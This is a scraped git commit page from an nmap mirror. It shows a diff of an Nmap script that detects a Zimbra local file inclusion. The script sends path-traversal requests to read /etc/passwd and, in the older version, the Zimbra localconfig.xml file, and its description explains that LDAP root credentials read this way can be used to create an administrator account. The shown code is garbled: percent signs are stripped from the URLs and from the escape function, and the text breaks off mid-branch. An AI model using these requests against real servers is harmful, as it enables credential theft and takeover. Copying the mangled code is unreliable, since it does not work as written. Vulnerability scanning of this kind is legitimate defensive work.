1
0
mirror of https://github.com/nmap/nmap.git synced 2025-12-16 04:39:03 +00:00

[NSE] Renamed and fixed the script that detects Zimbra LFI. Patch by Ron Bowes.

This commit is contained in:
sophron
2013-12-19 20:45:49 +00:00
parent 771a6a0793
commit 0645d18764

View File

@@ -3,21 +3,19 @@ local shortport = require "shortport"
local stdnse = require "stdnse" local stdnse = require "stdnse"
local string = require "string" local string = require "string"
local vulns = require "vulns" local vulns = require "vulns"
description = [[ description = [[
A 0 day has been released on the 6th december 2013 by rubina119. A 0 day was been released on the 6th december 2013 by rubina119, and was patched in Zimbra 7.2.6.
The vulnerability is a local file inclusion that can retrieve the credentials of the Zimbra installations etc.
Using this script, we can detect if the file is present. The vulnerability is a local file inclusion that can retrieve any file from the server.
If the file is present, we assume that the host might be vulnerable.
Currently, we read /etc/passwd and /dev/null, and compare the lengths to determine vulnerability.
In future version, we'll extract credentials from the file but it's not implemented yet and
the detection will be accurate.
TODO: TODO:
Add the possibility to read compressed file (because we're only looking if it exists) Add the possibility to read compressed file.
Then, send some payload to create the new mail account Then, send some payload to create the new mail account.
]] ]]
--- ---
-- @usage -- @usage
-- nmap -sV --script http-vuln-0-day-lfi-zimbra <target> -- nmap -sV --script http-vuln-0-day-lfi-zimbra <target>
@@ -50,30 +48,32 @@ Then, send some payload to create the new mail account
-- --
-- @args http-vuln-0-day-lfi-zimbra.uri URI. Default: /zimbra -- @args http-vuln-0-day-lfi-zimbra.uri URI. Default: /zimbra
--- ---
author = "Paul AMAR <aos.paul@gmail.com>" author = "Paul AMAR <aos.paul@gmail.com>, Ron Bowes"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html" license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"exploit","vuln","intrusive"} categories = {"exploit","vuln","intrusive"}
portrule = shortport.http portrule = shortport.http
-- function to escape specific characters -- function to escape specific characters
local escape = function(str) return string.gsub(str, "%%", "%%%%") end local escape = function(str) return string.gsub(str, "", "") end
action = function(host, port) action = function(host, port)
local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/zimbra" local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/zimbra"
local vuln = { local vuln = {
title = 'Zimbra 0-day Local File Inclusion (Gather admin credentials)', title = 'Zimbra Local File Inclusion (Gather admin credentials)',
state = vulns.STATE.NOT_VULN, -- default state = vulns.STATE.NOT_VULN, -- default
description = [[ description = [[
This script exploits a Local File Inclusion in This script exploits a Local File Inclusion in
/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz /res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx20TemplateMsg.js.zgz
which allows us to see localconfig.xml which allows us to see any file on the filesystem, including config files
that contains LDAP root credentials wich allow us to make requests in that contain LDAP root credentials, allowing us to make requests in
/service/admin/soap API with the stolen LDAP credentials to create user /service/admin/soap API with the stolen LDAP credentials to create user
with administration privlegies with administration privileges and gain access to the Administration Console.
and gain acces to the Administration Console.]],
This issue was patched in Zimbra 7.2.6.
]],
references = { references = {
'http://www.exploit-db.com/exploits/30085/', 'http://www.exploit-db.com/exploits/30085/',
}, },
@@ -82,20 +82,35 @@ and gain acces to the Administration Console.]],
}, },
} }
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port) local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
local url = "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00"
local file_short = "../../../../../../../../../dev/null"
local file_long = "../../../../../../../../../etc/passwd"
--local file_long = "../../../../../../../../../opt/zimbra/conf/localconfig.xml"
local url_short = "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx20TemplateMsg.js.zgz?v=091214175450&skin=" .. file_short .. "00"
local url_long = "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx20TemplateMsg.js.zgz?v=091214175450&skin=" .. file_long .. "00"
stdnse.print_debug(1, "Trying to detect if the server is vulnerable") stdnse.print_debug(1, "Trying to detect if the server is vulnerable")
stdnse.print_debug(1, "GET " .. uri .. escape(url)) stdnse.print_debug(1, "GET " .. uri .. escape(url_short))
stdnse.print_debug(1, "GET " .. uri .. escape(url_long))
local detection_session = http.get(host, port, uri..url)
local session_short = http.get(host, port, uri..url_short)
if detection_session and detection_session.status == 200 then local session_long = http.get(host, port, uri..url_long)
if string.match(escape(detection_session.header['content-type']), "application/x-javascript") then
stdnse.print_debug(1, "The website may be vulnerable to the Zimbra 0-day.") if session_short and session_short.status == 200 and session_long and session_long.status == 200 then
vuln.state = vulns.STATE.EXPLOIT if session_short.header['content-type'] == "application/x-javascript" then
return vuln_report:make_output(detection_session.body) -- Because .gz format is somewhat odd, giving a bit of a margin of error here
if (string.len(session_long.body) - string.len(session_short.body)) > 100 then
stdnse.print_debug(1, "The website appears to be vulnerable a local file inclusion vulnerability in Zimbra")
vuln.state = vulns.STATE.EXPLOIT
return vuln_report:make_output(vuln)
else
stdnse.print_debug(1, "The host does not appear to be vulnerable")
vuln.state = vulns.STATE.NOT_VULN
return vuln_report:make_output(vuln)
end
else else
stdnse.print_debug(1, "Bad content-type for the resource : " .. detection_session.header['content-type']) stdnse.print_debug(1, "Bad content-type for the resource : " .. session_short.header['content-type'])
return return
end end
else else